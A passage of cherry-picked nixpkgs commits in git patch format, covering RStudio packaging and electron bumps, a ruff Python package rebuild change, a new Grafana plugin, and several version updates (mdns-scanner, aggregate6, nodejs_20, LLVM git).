-    cp -r --no-preserve=all ${quartoSrc}/* src/gwt/lib/quarto
-    pushd src/gwt/lib/quarto
-    yarnConfigHook
-    popd
+      # set up node_modules directory inside quarto so that panmirror can be built
+      mkdir src/gwt/lib/quarto
+      cp -r --no-preserve=all ${quartoSrc}/* src/gwt/lib/quarto
+      pushd src/gwt/lib/quarto
+      yarnConfigHook
+      popd
 
-    ### set up dependencies that will be copied into the result
-    # note: only the directory names have to match upstream, the actual versions don't
-    # note: symlinks are preserved
+      ### set up dependencies that will be copied into the result
+      # note: only the directory names have to match upstream, the actual versions don't
+      # note: symlinks are preserved
 
-    mkdir dependencies/dictionaries
-    for dict in ${builtins.concatStringsSep " " dictionaries}; do
-      for i in "$dict/share/hunspell/"*; do
-        ln -s $i dependencies/dictionaries/
+      mkdir dependencies/dictionaries
+      for dict in ${builtins.concatStringsSep " " dictionaries}; do
+        for i in "$dict/share/hunspell/"*; do
+          ln -s $i dependencies/dictionaries/
+        done
       done
-    done
 
-    ln -s ${quartoWrapper} dependencies/quarto
+      ln -s ${quartoWrapper} dependencies/quarto
 
-    # version in dependencies/common/install-mathjax
-    ln -s ${mathJaxSrc} dependencies/mathjax-27
+      # version in dependencies/common/install-mathjax
+      ln -s ${mathJaxSrc} dependencies/mathjax-27
 
-    mkdir -p dependencies/common/node
-    # node used by cmake
-    # version in cmake/globals.cmake (RSTUDIO_NODE_VERSION)
-    ln -s ${nodejs} dependencies/common/node/22.13.1
+      mkdir -p dependencies/common/node
+      # node used by cmake
+      # version in cmake/globals.cmake (RSTUDIO_NODE_VERSION)
+      ln -s ${nodejs} dependencies/common/node/22.13.1
 
-    ${lib.optionalString (!server) ''
+    ''
+    + lib.optionalString (!server) ''
       pushd $npmRoot
 
       substituteInPlace package.json \
@@ -308,23 +310,22 @@ stdenv.mkDerivation rec {
       # Work around known nan issue for electron_33 and above
       # https://github.com/nodejs/nan/issues/978
       substituteInPlace node_modules/nan/nan.h \
-          --replace-fail '#include "nan_scriptorigin.h"' ""
+        --replace-fail '#include "nan_scriptorigin.h"' ""
 
       # now that we patched everything, we still have to run the scripts we ignored with --ignore-scripts
       npm rebuild
 
       popd
-    ''}
-  '';
+    '';
 
-  postInstall = ''
-    mkdir -p $out/bin
-
-    ${lib.optionalString (server && stdenv.hostPlatform.isLinux) ''
+  postInstall =
+    ''
+      mkdir -p $out/bin
+    ''
+    + lib.optionalString (server && stdenv.hostPlatform.isLinux) ''
       ln -s $out/lib/rstudio/bin/{crash-handler-proxy,postback,r-ldpath,rpostback,rserver,rserver-pam,rsession,rstudio-server} $out/bin
-    ''}
-
-    ${lib.optionalString (!server && stdenv.hostPlatform.isLinux) ''
+    ''
+    + lib.optionalString (!server && stdenv.hostPlatform.isLinux) ''
       # remove unneeded electron files, since we'll wrap the app with our own electron
       shopt -s extglob
       rm -r $out/lib/rstudio/!(locales|resources|resources.pak)
@@ -335,19 +336,16 @@ stdenv.mkDerivation rec {
         --suffix PATH : ${lib.makeBinPath [ gnumake ]}
 
       ln -s $out/lib/rstudio/resources/app/bin/{diagnostics,rpostback} $out/bin
-    ''}
-
-    ${lib.optionalString (server && stdenv.hostPlatform.isDarwin) ''
+    ''
+    + lib.optionalString (server && stdenv.hostPlatform.isDarwin) ''
       ln -s $out/Applications/RStudio.app/Contents/MacOS/{crash-handler-proxy,postback,r-ldpath,rpostback,rserver,rserver-pam,rsession,rstudio-server} $out/bin
-    ''}
-
-    ${lib.optionalString (!server && stdenv.hostPlatform.isDarwin) ''
+    ''
+    + lib.optionalString (!server && stdenv.hostPlatform.isDarwin) ''
       # electron can't find its files if we use a symlink here
       makeWrapper $out/Applications/RStudio.app/Contents/MacOS/RStudio $out/bin/rstudio
 
       ln -s $out/Applications/RStudio.app/Contents/Resources/app/bin/{diagnostics,rpostback} $out/bin
-    ''}
-  '';
+    '';
 
   passthru = {
     inherit server;

From 818cdc906f0c976176c1607b36d1c4a90335f664 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Sat, 7 Jun 2025 19:05:48 +0200
Subject: [PATCH 1811/4511] rstudio: move to pkgs/by-name

(cherry picked from commit c700de3abb18a4d348eeec207e23aa403472ae1b)
---
 .../editors => by-name/rs}/rstudio/clang-location.patch         | 0
 .../editors => by-name/rs}/rstudio/dont-yarn-install.patch      | 0
 .../editors => by-name/rs}/rstudio/fix-darwin.patch             | 0
 .../editors => by-name/rs}/rstudio/ignore-etc-os-release.patch  | 0
 .../rstudio/default.nix => by-name/rs/rstudio/package.nix}      | 0
 .../editors => by-name/rs}/rstudio/r-location.patch             | 0
 pkgs/top-level/all-packages.nix                                 | 2 --
 7 files changed, 2 deletions(-)
 rename pkgs/{applications/editors => by-name/rs}/rstudio/clang-location.patch (100%)
 rename pkgs/{applications/editors => by-name/rs}/rstudio/dont-yarn-install.patch (100%)
 rename pkgs/{applications/editors => by-name/rs}/rstudio/fix-darwin.patch (100%)
 rename pkgs/{applications/editors => by-name/rs}/rstudio/ignore-etc-os-release.patch (100%)
 rename pkgs/{applications/editors/rstudio/default.nix => by-name/rs/rstudio/package.nix} (100%)
 rename pkgs/{applications/editors => by-name/rs}/rstudio/r-location.patch (100%)

diff --git a/pkgs/applications/editors/rstudio/clang-location.patch b/pkgs/by-name/rs/rstudio/clang-location.patch
similarity index 100%
rename from pkgs/applications/editors/rstudio/clang-location.patch
rename to pkgs/by-name/rs/rstudio/clang-location.patch
diff --git a/pkgs/applications/editors/rstudio/dont-yarn-install.patch b/pkgs/by-name/rs/rstudio/dont-yarn-install.patch
similarity index 100%
rename from pkgs/applications/editors/rstudio/dont-yarn-install.patch
rename to pkgs/by-name/rs/rstudio/dont-yarn-install.patch
diff --git a/pkgs/applications/editors/rstudio/fix-darwin.patch b/pkgs/by-name/rs/rstudio/fix-darwin.patch
similarity index 100%
rename from pkgs/applications/editors/rstudio/fix-darwin.patch
rename to pkgs/by-name/rs/rstudio/fix-darwin.patch
diff --git a/pkgs/applications/editors/rstudio/ignore-etc-os-release.patch b/pkgs/by-name/rs/rstudio/ignore-etc-os-release.patch
similarity index 100%
rename from pkgs/applications/editors/rstudio/ignore-etc-os-release.patch
rename to pkgs/by-name/rs/rstudio/ignore-etc-os-release.patch
diff --git a/pkgs/applications/editors/rstudio/default.nix b/pkgs/by-name/rs/rstudio/package.nix
similarity index 100%
rename from pkgs/applications/editors/rstudio/default.nix
rename to pkgs/by-name/rs/rstudio/package.nix
diff --git a/pkgs/applications/editors/rstudio/r-location.patch b/pkgs/by-name/rs/rstudio/r-location.patch
similarity index 100%
rename from pkgs/applications/editors/rstudio/r-location.patch
rename to pkgs/by-name/rs/rstudio/r-location.patch
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index a1f6229d537e..d5607105a622 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -13960,8 +13960,6 @@ with pkgs;
     backend = "wayland";
   };
 
-  rstudio = callPackage ../applications/editors/rstudio { };
-
   rstudio-server = rstudio.override { server = true; };
 
   rsync = callPackage ../applications/networking/sync/rsync (config.rsync or { });

From c34a8ea19a064d6dcf161637cacffb4b609bc283 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Wed, 25 Jun 2025 17:05:10 +0200
Subject: [PATCH 1812/4511] rstudio: bump electron version

(cherry picked from commit a2a5367191218126e63cbda85bbb203d192155af)
---
 pkgs/by-name/rs/rstudio/bump-node-abi.patch | 67 +++++++++++++++++++++
 pkgs/by-name/rs/rstudio/package.nix         | 11 +++-
 2 files changed, 75 insertions(+), 3 deletions(-)
 create mode 100644 pkgs/by-name/rs/rstudio/bump-node-abi.patch

diff --git a/pkgs/by-name/rs/rstudio/bump-node-abi.patch b/pkgs/by-name/rs/rstudio/bump-node-abi.patch
new file mode 100644
index 000000000000..10d3c424f25d
--- /dev/null
+++ b/pkgs/by-name/rs/rstudio/bump-node-abi.patch
@@ -0,0 +1,67 @@
+diff --git a/src/node/desktop/package-lock.json b/src/node/desktop/package-lock.json
+index e4cf455..f822c46 100644
+--- a/src/node/desktop/package-lock.json
++++ b/src/node/desktop/package-lock.json
+@@ -18,7 +18,7 @@
+         "line-reader": "0.4.0",
+         "lodash.debounce": "4.0.8",
+         "net-ipc": "2.2.0",
+-        "node-abi": "3.71.0",
++        "node-abi": "^4.10.0",
+         "node-addon-api": "8.3.1",
+         "node-system-fonts": "1.0.1",
+         "properties-reader": "2.3.0",
+@@ -1068,6 +1068,19 @@
+         "node": ">=12.13.0"
+       }
+     },
++    "node_modules/@electron/rebuild/node_modules/node-abi": {
++      "version": "3.75.0",
++      "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.75.0.tgz",
++      "integrity": "sha512-OhYaY5sDsIka7H7AtijtI9jwGYLyl29eQn/W623DiN/MIv5sUqc4g7BIDThX+gb7di9f6xK02nkp8sdfFWZLTg==",
++      "dev": true,
++      "license": "MIT",
++      "dependencies": {
++        "semver": "^7.3.5"
++      },
++      "engines": {
++        "node": ">=10"
++      }
++    },
+     "node_modules/@electron/universal": {
+       "version": "2.0.2",
+       "resolved": "https://registry.npmjs.org/@electron/universal/-/universal-2.0.2.tgz",
+@@ -9615,15 +9628,15 @@
+       }
+     },
+     "node_modules/node-abi": {
+-      "version": "3.71.0",
+-      "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.71.0.tgz",
+-      "integrity": "sha512-SZ40vRiy/+wRTf21hxkkEjPJZpARzUMVcJoQse2EF8qkUWbbO2z7vd5oA/H6bVH6SZQ5STGcu0KRDS7biNRfxw==",
++      "version": "4.10.0",
++      "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-4.10.0.tgz",
++      "integrity": "sha512-99+BHGmmk969uU3Q4DM9t2tBvDKmqZ3prz/yumY7n+fV2zA+DAOBXuodsp9ZD/QSXK8aSKgWIpkg8tbrAe9JBg==",
+       "license": "MIT",
+       "dependencies": {
+-        "semver": "^7.3.5"
++        "semver": "^7.6.3"
+       },
+       "engines": {
+-        "node": ">=10"
++        "node": ">=22.12.0"
+       }
+     },
+     "node_modules/node-abort-controller": {
+diff --git a/src/node/desktop/package.json b/src/node/desktop/package.json
+index 1fe9294..e3797cf 100644
+--- a/src/node/desktop/package.json
++++ b/src/node/desktop/package.json
+@@ -76,7 +76,7 @@
+     "line-reader": "0.4.0",
+     "lodash.debounce": "4.0.8",
+     "net-ipc": "2.2.0",
+-    "node-abi": "3.71.0",
++    "node-abi": "^4.10.0",
+     "node-addon-api": "8.3.1",
+     "node-system-fonts": "1.0.1",
+     "properties-reader": "2.3.0",
diff --git a/pkgs/by-name/rs/rstudio/package.nix b/pkgs/by-name/rs/rstudio/package.nix
index 758428d1f05a..f20943963c5a 100644
--- a/pkgs/by-name/rs/rstudio/package.nix
+++ b/pkgs/by-name/rs/rstudio/package.nix
@@ -26,7 +26,7 @@
 
   apple-sdk_11,
   boost187,
-  electron_34,
+  electron_36,
   fontconfig,
   gnumake,
   hunspellDicts,
@@ -45,7 +45,7 @@
 }:
 
 let
-  electron = electron_34;
+  electron = electron_36;
 
   mathJaxSrc = fetchzip {
     url = "https://s3.amazonaws.com/rstudio-buildtools/mathjax-27.zip";
@@ -211,6 +211,7 @@ stdenv.mkDerivation rec {
     ./ignore-etc-os-release.patch
     ./dont-yarn-install.patch
     ./fix-darwin.patch
+    ./bump-node-abi.patch
   ];
 
   postPatch = ''
@@ -241,7 +242,11 @@ stdenv.mkDerivation rec {
     name = "rstudio-${version}-npm-deps";
     inherit src;
     postPatch = "cd ${npmRoot}";
-    hash = "sha256-ispV6FJdtOELtFNIZDn1lKbwvO/iTO8mrZ8nIOs2uhs=";
+    patches = [
+      # needed for support for electron versions above electron_34
+      ./bump-node-abi.patch
+    ];
+    hash = "sha256-64PJPUE/xwdQdxVGiKzy8ADnxXH/qGQtFMib0unZpoA=";
   };
 
   preConfigure =

From e2e83dfc06ad03dbf477d46ac3519bd45985de7e Mon Sep 17 00:00:00 2001
From: Benjamin Sparks <b.sparks@alugha.com>
Date: Fri, 30 May 2025 01:23:15 +0200
Subject: [PATCH 1813/4511] python3Packages.ruff: reuse already built ruff
 binary

The maturin build system cannot see that we already build the ruff binary in nixpkgs.
This leads to the ruff binary being rebuilt and placed inside of the resulting Python package.
Every nixpkgs-review that passes through the `pkgs.ruff` package therefore builds `ruff` 3 times per architecture.
Said binary was never even used due to the patching that already occurs in `find_ruff_bin`.

Especially with how time-consuming release builds can be in Rust, there is no reason to keep this package in this state.

master: `nix-build -A python3Packages.ruff` - `0.44s user 0.28s system 0% cpu 5:09.64 total`
branch: `nix-build -A python3Packages.ruff` - `0.36s user 0.12s system 9% cpu 4.856 total`
(cherry picked from commit cf311adc9984df12064973ddb2ded771731cae5c)
---
 .../python-modules/ruff/default.nix           | 48 ++++++++++++-------
 1 file changed, 30 insertions(+), 18 deletions(-)

diff --git a/pkgs/development/python-modules/ruff/default.nix b/pkgs/development/python-modules/ruff/default.nix
index 8155727dc221..edd44682d7f7 100644
--- a/pkgs/development/python-modules/ruff/default.nix
+++ b/pkgs/development/python-modules/ruff/default.nix
@@ -1,8 +1,8 @@
 {
   buildPythonPackage,
+  hatchling,
+  lib,
   ruff,
-  rustPlatform,
-  installShellFiles,
 }:
 
 buildPythonPackage {
@@ -10,26 +10,38 @@ buildPythonPackage {
     pname
     version
     src
-    cargoDeps
-    postInstall
     meta
     ;
-
-  # Do not rely on path lookup at runtime to find the ruff binary
-  postPatch = ''
-    substituteInPlace python/ruff/__main__.py \
-      --replace-fail \
-        'ruff_exe = "ruff" + sysconfig.get_config_var("EXE")' \
-        'return "${placeholder "out"}/bin/ruff"'
-  '';
-
   pyproject = true;
 
-  nativeBuildInputs = [
-    installShellFiles
-    rustPlatform.cargoSetupHook
-    rustPlatform.maturinBuildHook
-  ];
+  build-system = [ hatchling ];
+
+  postPatch =
+    # Do not rely on path lookup at runtime to find the ruff binary.
+    # Use the propagated binary instead.
+    ''
+      substituteInPlace python/ruff/__main__.py \
+        --replace-fail \
+          'ruff_exe = "ruff" + sysconfig.get_config_var("EXE")' \
+          'return "${lib.getExe ruff}"'
+    ''
+    # Sidestep the maturin build system in favour of reusing the binary already built by nixpkgs,
+    # to avoid rebuilding the ruff binary for every active python package set.
+    + ''
+      substituteInPlace pyproject.toml \
+        --replace-fail 'requires = ["maturin>=1.0,<2.0"]' 'requires = ["hatchling"]' \
+        --replace-fail 'build-backend = "maturin"' 'build-backend = "hatchling.build"'
+
+      cat >> pyproject.toml <<EOF
+      [tool.hatch.build]
+      packages = ['python/ruff']
+
+      EOF
+    '';
+
+  postInstall = ''
+    mkdir -p $out/bin && ln -s ${lib.getExe ruff} $out/bin/ruff
+  '';
 
   pythonImportsCheck = [ "ruff" ];
 }

From 58bbdaa0c98edc0e51a1b95517347e1be59a87d7 Mon Sep 17 00:00:00 2001
From: Marcel <me@m4rc3l.de>
Date: Sat, 24 May 2025 22:37:55 +0200
Subject: [PATCH 1814/4511] grafana-metricsdrilldown-app: init at 1.0.4

(cherry picked from commit b93056a63e86d7de221b83536889f4b2921c3976)
---
 .../grafana-metricsdrilldown-app/default.nix        | 13 +++++++++++++
 pkgs/servers/monitoring/grafana/plugins/plugins.nix |  1 +
 2 files changed, 14 insertions(+)
 create mode 100644 pkgs/servers/monitoring/grafana/plugins/grafana-metricsdrilldown-app/default.nix

diff --git a/pkgs/servers/monitoring/grafana/plugins/grafana-metricsdrilldown-app/default.nix b/pkgs/servers/monitoring/grafana/plugins/grafana-metricsdrilldown-app/default.nix
new file mode 100644
index 000000000000..cef22b098206
--- /dev/null
+++ b/pkgs/servers/monitoring/grafana/plugins/grafana-metricsdrilldown-app/default.nix
@@ -0,0 +1,13 @@
+{ grafanaPlugin, lib }:
+
+grafanaPlugin {
+  pname = "grafana-metricsdrilldown-app";
+  version = "1.0.4";
+  zipHash = "sha256-FdeicETOYWdITUBFC19wdGn53ACsRc7Pq2iampksAS4=";
+  meta = with lib; {
+    description = "The Grafana Metrics Drilldown app provides a queryless experience for browsing Prometheus-compatible metrics. Quickly find related metrics without writing PromQL queries.";
+    license = licenses.agpl3Only;
+    teams = [ lib.maintainers.marcel ];
+    platforms = platforms.unix;
+  };
+}
diff --git a/pkgs/servers/monitoring/grafana/plugins/plugins.nix b/pkgs/servers/monitoring/grafana/plugins/plugins.nix
index a5dd4d52a893..3b20f29f2be9 100644
--- a/pkgs/servers/monitoring/grafana/plugins/plugins.nix
+++ b/pkgs/servers/monitoring/grafana/plugins/plugins.nix
@@ -15,6 +15,7 @@
   grafana-github-datasource = callPackage ./grafana-github-datasource { };
   grafana-googlesheets-datasource = callPackage ./grafana-googlesheets-datasource { };
   grafana-lokiexplore-app = callPackage ./grafana-lokiexplore-app { };
+  grafana-metricsdrilldown-app = callPackage ./grafana-metricsdrilldown-app { };
   grafana-mqtt-datasource = callPackage ./grafana-mqtt-datasource { };
   grafana-oncall-app = callPackage ./grafana-oncall-app { };
   grafana-opensearch-datasource = callPackage ./grafana-opensearch-datasource { };

From aca4d3438b70eca9d61e1ca8edb6cdfa948c86fd Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Sun, 29 Jun 2025 00:17:29 +0200
Subject: [PATCH 1815/4511] mdns-scanner: 0.15.0 -> 0.16.1

(cherry picked from commit 47c85f6f36941489462e04ca5b9e23fda1d070ea)
---
 pkgs/by-name/md/mdns-scanner/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/md/mdns-scanner/package.nix b/pkgs/by-name/md/mdns-scanner/package.nix
index 44ff1d003180..8ca3fe5df6c5 100644
--- a/pkgs/by-name/md/mdns-scanner/package.nix
+++ b/pkgs/by-name/md/mdns-scanner/package.nix
@@ -6,16 +6,16 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "mdns-scanner";
-  version = "0.15.0";
+  version = "0.16.1";
 
   src = fetchFromGitHub {
     owner = "CramBL";
     repo = "mdns-scanner";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-15yVQfqzAYBrCzMZJE3IiQG+ZfGMQYltxDGf+pmD8ss=";
+    hash = "sha256-8YOiJ2rnLQvVLkoMBDUw/DPMMRMrQs9fWnZ/YlCpui0=";
   };
 
-  cargoHash = "sha256-htYBCcK8aVCTmdxMW0QmX+2aS9ZuC7PsuebrWMpUl38=";
+  cargoHash = "sha256-KiuIYuQO7BYhEl0AAzpt4PQxQcdxsSwv/Asj4DsEUUE=";
 
   meta = {
     homepage = "https://github.com/CramBL/mdns-scanner";

From 60f1ddb1028ce2fa1b6b4641bdb28cca19e61d46 Mon Sep 17 00:00:00 2001
From: Marcel <me@m4rc3l.de>
Date: Tue, 18 Feb 2025 19:12:13 +0100
Subject: [PATCH 1816/4511] python312Packages.aggregate6: 1.0.12 -> 1.0.14

(cherry picked from commit 4e3354b6f931c595b989925fcf4c5b7ee85108de)
---
 .../0001-setup-remove-nose-coverage.patch     | 31 -------------------
 .../python-modules/aggregate6/default.nix     | 13 ++++----
 2 files changed, 7 insertions(+), 37 deletions(-)
 delete mode 100644 pkgs/development/python-modules/aggregate6/0001-setup-remove-nose-coverage.patch

diff --git a/pkgs/development/python-modules/aggregate6/0001-setup-remove-nose-coverage.patch b/pkgs/development/python-modules/aggregate6/0001-setup-remove-nose-coverage.patch
deleted file mode 100644
index feaddc465032..000000000000
--- a/pkgs/development/python-modules/aggregate6/0001-setup-remove-nose-coverage.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From d20c7039316ea7c76da86963b266d3c34001b9f7 Mon Sep 17 00:00:00 2001
-From: Marcel <me@m4rc3l.de>
-Date: Sat, 2 Nov 2024 21:13:37 +0100
-Subject: [PATCH] setup: remove nose, coverage
-
----
- setup.py | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
-
-diff --git a/setup.py b/setup.py
-index b880f27..7a47360 100644
---- a/setup.py
-+++ b/setup.py
-@@ -70,7 +70,7 @@ setup(
-         'Programming Language :: Python :: 3',
-         'Programming Language :: Python :: 3.6'
-     ],
--    setup_requires=["nose", "coverage", "mock"],
-+    setup_requires=["mock"],
-     install_requires=["py-radix==0.10.0"] + (
-         ["future", "ipaddress"] if sys.version_info.major == 2 else []
-     ),
-@@ -78,5 +78,4 @@ setup(
-     entry_points={'console_scripts':
-                   ['aggregate6 = aggregate6.aggregate6:main']},
-     data_files = [('man/man7', ['aggregate6.7'])],
--    test_suite='nose.collector'
- )
--- 
-2.44.1
-
diff --git a/pkgs/development/python-modules/aggregate6/default.nix b/pkgs/development/python-modules/aggregate6/default.nix
index 1d5efc304dad..a57bc4c1667a 100644
--- a/pkgs/development/python-modules/aggregate6/default.nix
+++ b/pkgs/development/python-modules/aggregate6/default.nix
@@ -4,25 +4,25 @@
   fetchFromGitHub,
   setuptools,
   py-radix-sr,
+  versionCheckHook,
   pytestCheckHook,
-  mock,
 }:
 
 buildPythonPackage rec {
   pname = "aggregate6";
-  version = "1.0.12";
+  version = "1.0.14";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "job";
     repo = "aggregate6";
     rev = version;
-    hash = "sha256-tBo9LSmEu/0KPSeg17dlh7ngUvP9GyW6b01qqpr5Bx0=";
+    hash = "sha256-sF5F4AIIQuMTuWE3zoBE1akJX9QSmAaRp1qgoHzSJMo=";
   };
 
-  patches = [ ./0001-setup-remove-nose-coverage.patch ];
-
   # py-radix-sr is a fork, with fixes
+  # NOTE: it should be worth switching to py-radix again in the future as there
+  #       is still development sadly currently without a new release.
   postPatch = ''
     substituteInPlace setup.py --replace-fail 'py-radix==0.10.0' 'py-radix-sr'
   '';
@@ -33,10 +33,11 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-    mock
+    versionCheckHook
   ];
 
   pythonImportsCheck = [ "aggregate6" ];
+  versionCheckProgramArg = "-V";
 
   meta = {
     description = "IPv4 and IPv6 prefix aggregation tool";

From b251558c637a8c3f87fe511feb9932030049756d Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Mon, 23 Jun 2025 10:51:59 +0200
Subject: [PATCH 1817/4511] nodejs_20: 20.19.2 -> 20.19.3

(cherry picked from commit 8fc98986d49a879db8e3fe8318557caccb43f759)
---
 pkgs/development/web/nodejs/v20.nix | 32 ++---------------------------
 1 file changed, 2 insertions(+), 30 deletions(-)

diff --git a/pkgs/development/web/nodejs/v20.nix b/pkgs/development/web/nodejs/v20.nix
index d5c93f3bb3c2..20ebe669387b 100644
--- a/pkgs/development/web/nodejs/v20.nix
+++ b/pkgs/development/web/nodejs/v20.nix
@@ -18,8 +18,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "20.19.2";
-  sha256 = "4a7ff611d5180f4e420204fa6f22f9f9deb2ac5e98619dd9a4de87edf5b03b6e";
+  version = "20.19.3";
+  sha256 = "99be7b9d268d48b93be568a23240398ceacb0782dc7055b9972305c000b0e292";
   patches = [
     ./configure-emulator.patch
     ./configure-armv6-vfpv2.patch
@@ -27,33 +27,5 @@ buildNodejs {
     ./bypass-darwin-xcrun-node16.patch
     ./node-npm-build-npm-package-logic.patch
     ./use-correct-env-in-tests.patch
-
-    # Remove unused `fdopen` in vendored zlib, which causes compilation failures with clang 18 on Darwin.
-    (fetchpatch2 {
-      url = "https://github.com/madler/zlib/commit/4bd9a71f3539b5ce47f0c67ab5e01f3196dc8ef9.patch?full_index=1";
-      extraPrefix = "deps/v8/third_party/zlib/";
-      stripLen = 1;
-      hash = "sha256-WVxsoEcJu0WBTyelNrVQFTZxJhnekQb1GrueeRBRdnY=";
-    })
-    # Backport V8 fixes for LLVM 19.
-    (fetchpatch2 {
-      url = "https://chromium.googlesource.com/v8/v8/+/182d9c05e78b1ddb1cb8242cd3628a7855a0336f%5E%21/?format=TEXT";
-      decode = "base64 -d";
-      extraPrefix = "deps/v8/";
-      stripLen = 1;
-      hash = "sha256-bDTwFbATPn5W4VifWz/SqaiigXYDWHq785C64VezuUE=";
-    })
-    (fetchpatch2 {
-      url = "https://chromium.googlesource.com/v8/v8/+/1a3ecc2483b2dba6ab9f7e9f8f4b60dbfef504b7%5E%21/?format=TEXT";
-      decode = "base64 -d";
-      extraPrefix = "deps/v8/";
-      stripLen = 1;
-      hash = "sha256-6y3aEqxNC4iTQEv1oewodJrhOHxjp5xZMq1P1QL94Rg=";
-    })
-    # fix test failure on macos 15.4
-    (fetchpatch2 {
-      url = "https://github.com/nodejs/node/commit/33f6e1ea296cd20366ab94e666b03899a081af94.patch?full_index=1";
-      hash = "sha256-aVBMcQlhQeviUQpMIfC988jjDB2BgYzlMYsq+w16mzU=";
-    })
   ] ++ gypPatches;
 }

From ad810bfeb01f00fa0c13f7a533aae48f8c9dcc67 Mon Sep 17 00:00:00 2001
From: rewine <luhongxu@deepin.org>
Date: Mon, 30 Jun 2025 10:06:51 +0800
Subject: [PATCH 1818/4511] deepin.dde-shell: fix qml models import in qt 6.9

(cherry picked from commit eb11b0b07220b1f636c7774916de7630aef53810)
---
 pkgs/desktops/deepin/core/dde-shell/default.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/desktops/deepin/core/dde-shell/default.nix b/pkgs/desktops/deepin/core/dde-shell/default.nix
index be854c40b97a..deba291f1ce8 100644
--- a/pkgs/desktops/deepin/core/dde-shell/default.nix
+++ b/pkgs/desktops/deepin/core/dde-shell/default.nix
@@ -40,6 +40,11 @@ stdenv.mkDerivation (finalAttrs: {
       url = "https://github.com/linuxdeepin/dde-shell/commit/936d62a2c20398b9ca6ae28f9101dd288c8b1678.patch";
       hash = "sha256-u5TcPy2kZsOLGUgjTGZ5JX3mWnr/rOQ3SWBRyjWEiw4=";
     })
+    (fetchpatch {
+      name = "adapt-import-change-of-QtQml-Models-in-Qt-6_9.patch";
+      url = "https://github.com/linuxdeepin/dde-shell/commit/ad92c160508a5eb53fd5af558ef1b1ba881b97ac.patch";
+      hash = "sha256-3GdkbFEt51EP04RQN54EDsGyXkeZoWhbnQAHkwjUeGY=";
+    })
 
   ];
 

From 9d8010ec2bfd9bdce8dfdb37932e19fba8a417ff Mon Sep 17 00:00:00 2001
From: Tristan Ross <tristan.ross@midstall.com>
Date: Sun, 29 Jun 2025 23:38:47 -0700
Subject: [PATCH 1819/4511] llvmPackages_git: 21.0.0-unstable-2025-06-22 ->
 21.0.0-unstable-2025-06-29

(cherry picked from commit d74a76be1d3332ecc506a4808f70d1047fc34476)
---
 pkgs/development/compilers/llvm/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 41500bcba153..e729f60d6ac4 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -33,9 +33,9 @@ let
     "19.1.7".officialRelease.sha256 = "sha256-cZAB5vZjeTsXt9QHbP5xluWNQnAHByHtHnAhVDV0E6I=";
     "20.1.6".officialRelease.sha256 = "sha256-PfCzECiCM+k0hHqEUSr1TSpnII5nqIxg+Z8ICjmMj0Y=";
     "21.0.0-git".gitRelease = {
-      rev = "f9fce4975bbad835deba6e639c21a62154dd8c14";
-      rev-version = "21.0.0-unstable-2025-06-22";
-      sha256 = "sha256-Xu9RD6R6tQDZ0kaSD7N0GTp1TcUV6BK12fobK0qPkIw=";
+      rev = "2d94c08d03ada0a4d3c30a93594d0381946aa85a";
+      rev-version = "21.0.0-unstable-2025-06-29";
+      sha256 = "sha256-waAXH17LNrzbq4kJ1u9EUpYGDky8iEVVCsYpthOrgMY=";
     };
   } // llvmVersions;
 

From 26883105e58d1fa0c689350eff7a15f7755194cb Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 29 Jun 2025 16:22:07 +0200
Subject: [PATCH 1820/4511] release-python: drop lib-tests

It is unclear why these were added in the first place and now with Nix
2.3 getting its vulnerable mark it has become a nuisance.

(cherry picked from commit 22c3b2e39ff1e2b112319418450c1874103e20ae)
---
 pkgs/top-level/release-python.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/top-level/release-python.nix b/pkgs/top-level/release-python.nix
index 06f235b3606c..5bce39ba5e0e 100644
--- a/pkgs/top-level/release-python.nix
+++ b/pkgs/top-level/release-python.nix
@@ -49,7 +49,7 @@ let
   );
 
   jobs = {
-    lib-tests = import ../../lib/tests/release.nix { inherit pkgs; };
+    # for pkgs.formats tests, which rely on remarshal
     pkgs-lib-tests = import ../pkgs-lib/tests { inherit pkgs; };
 
     tested = pkgs.releaseTools.aggregate {

From 67870f72b031c93cdbc4160e5de35e2bd700ddf7 Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Sun, 29 Jun 2025 16:49:02 +0200
Subject: [PATCH 1821/4511] release.nix: pass lib-tests to tarball

It doesn't make sense for release.nix to run these twice; once
directly, and once as part of the tarball job.

(cherry picked from commit 1063473001bb85bf3af2fe21f3a76011ea8c558b)
---
 pkgs/top-level/release.nix | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/pkgs/top-level/release.nix b/pkgs/top-level/release.nix
index 61218537e7e3..21555a3e03d0 100644
--- a/pkgs/top-level/release.nix
+++ b/pkgs/top-level/release.nix
@@ -95,8 +95,15 @@ let
     "aarch64"
   ] (arch: elem "${arch}-darwin" supportedSystems);
 
-  nonPackageJobs = {
-    tarball = import ./make-tarball.nix { inherit pkgs nixpkgs officialRelease; };
